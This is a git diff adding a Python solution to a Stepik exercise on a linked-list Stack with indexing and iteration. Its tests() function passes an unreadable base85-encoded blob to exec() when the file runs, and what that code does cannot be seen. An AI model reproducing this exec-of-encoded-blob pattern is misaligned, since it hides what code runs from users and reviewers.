diff --git a/mod_oop/3.9_10_stack_iter.py b/mod_oop/3.9_10_stack_iter.py new file mode 100644 index 0000000..e44cb01 --- /dev/null +++ b/mod_oop/3.9_10_stack_iter.py @@ -0,0 +1,199 @@ +""" + https://stepik.org/lesson/701994/step/10?unit=702095 + + Вы несколько раз уже делали стек-подобную структуру, когда объекты последовательно связаны между собой: + + + +Доведем ее функционал до конца. Для этого, по прежнему, нужно объявить классы: +Stack - для представления стека в целом; +StackObj - для представления отдельных объектов стека. + +В классе Stack должны быть методы: +push_back(obj) - для добавления нового объекта obj в конец стека; +push_front(obj) - для добавления нового объекта obj в начало стека. + +В каждом объекте класса Stack должен быть публичный атрибут: +top - ссылка на первый объект стека (при пустом стеке top = None). + +Объекты класса StackObj создаются командой: +obj = StackObj(data) +где data - данные, хранящиеся в объекте стека (строка). + +Также в каждом объекте класса StackObj должны быть публичные атрибуты: +data - ссылка на данные объекта; +next - ссылка на следующий объект стека (если его нет, то next = None). + +Наконец, с объектами класса Stack должны выполняться следующие команды: +st = Stack() +st[indx] = value # замена прежних данных на новые по порядковому индексу (indx); отсчет начинается с нуля +data = st[indx] # получение данных из объекта стека по индексу +n = len(st) # получение общего числа объектов стека + +for obj in st: # перебор объектов стека (с начала и до конца) + print(obj.data) # отображение данных в консоль + +При работе с индексами (indx), нужно проверять их корректность. Должно быть целое число от 0 до N-1, где N - число объектов в стеке. Иначе, генерировать исключение командой: +raise IndexError('неверный индекс') + +P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно. +""" + +from typing import List + + +class StackObj: + def __init__(self, data=None): + self.__next = None + self.__data = data + + @property + def data(self): + return self.__data + + @data.setter + def data(self, value): + self.__data = value + + def __eq__(self, other): + if hasattr(other, "data"): + return self.data == other.data + return self.data == other + + def __ne__(self, other): + return not self == other + + @property + def next(self): + return self.__next + + @next.setter + def next(self, value): + if isinstance(value, (self.__class__, None.__class__)): + self.__next = value + + @classmethod + def wrap(cls, value): + return value if isinstance(value, cls) else cls(value) + + def __repr__(self): + return f"{self.__class__.__name__}({self.data!r})" + + def __str__(self): + return str(self.data) + + +class Stack: + def __init__(self, data=None): + self.top = None + self.load(data or []) + + def __iter__(self): + obj = self.top + while obj: + yield obj + obj = obj.next + + @property + def bottom(self) -> StackObj: + for last in self: + ... + return last + + def push_back(self, value): + obj = StackObj.wrap(value) + if not self.top: + self.top = obj + else: + self.bottom.next = obj + + def push_front(self, value): + obj = StackObj.wrap(value) + obj.next = self.top + self.top = obj + + def pop(self) -> StackObj: + if not self.top: + return None + b, c = None, None + for a in self: + b, c = a, b + if c: + c.next = None + if b == self.top: + self.top = None + return b + + def load(self, data): + for x in data: + self.push_back(x) + + def __len__(self): + return sum(1 for _ in self) + + def validate_index(self, idx: int): + if not isinstance(idx, int) or not 0 <= idx < len(self): + raise IndexError("неверный индекс") + + def __getitem__(self, idx: int): + self.validate_index(idx) + for i, v in enumerate(self): + if idx == i: + return v.data + + def __setitem__(self, idx: int, value): + self.validate_index(idx) + + if idx == len(self): + self.push(value) + return + + prev = self.top + for i, v in enumerate(self): + prev = v + if idx == i: + old = v + break + + value = StackObj.wrap(value) + value.next = old.next + if idx > 0: + prev.next = value + else: + self.top = value + + def get_data(self) -> List[StackObj]: + return [x for x in self] + + def __str__(self): + return " -> ".join(map(str, self.get_data())) + + def __repr__(self): + return f"{self.__class__.__name__}({self.get_data()!r})" + + +def tests(): + code = ( + b'b95j*AX9WHbXzf9AU!=GA~7N?AR^Gc(6!LA(6!Nk' + + b'(7n-%(6u1Yx6r-Nu+fLmwa~rLxY3Uw(6rF7(7n*T(TmZAAketbw;<5I(6P~q(6!LI(Sp#v(6S)Wf' + + b'zg7{wa~iIuq+_ZztMouxFFEJ(6P~g(6G^o(6!LL(74dJAkexX(7n*O(7YhfztFxQ(74dO(6rFC(7' + + b'Mrq(Ssri3UhQ@FkK)$AR;g#3So0|WpZ>Nb97rUT_8O@AR;g#EFdD#ztFzWyU~NuhtRdqz0kfO(7n' + + b'*L(6Z3A(SXps(7w>MAkeqaz0k1HhtRdqz0kPOwII;A(6=DazRO(7e#T(6-RM(7r4n(7n*L(7MpR(SXr_(6!LI(Sp#u(7qtifY7kevCzKJg3z$gwb6ng' + + b'(7(}u(74fo(6Z35(74dD(6G?G(74dGAke+gzRWq4y{aC9I^Ze(S6MRIa)' + + b'aykkiARr)Nb8}^KbRbl6b!7@=Y;$Eg3LqdLAYpTJWpZ>NMqzAoWh@{f(7n*LAkl%)v(UBBz0kGMf' + + b'Y7+nfY83sve2;5yU@PTfzga0(74fo(7MpO(T>rF(6!LL(74dGAW3dyWq3t$a&K}X' + ) + exec(__import__('base64').b85decode(code)) + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + tests()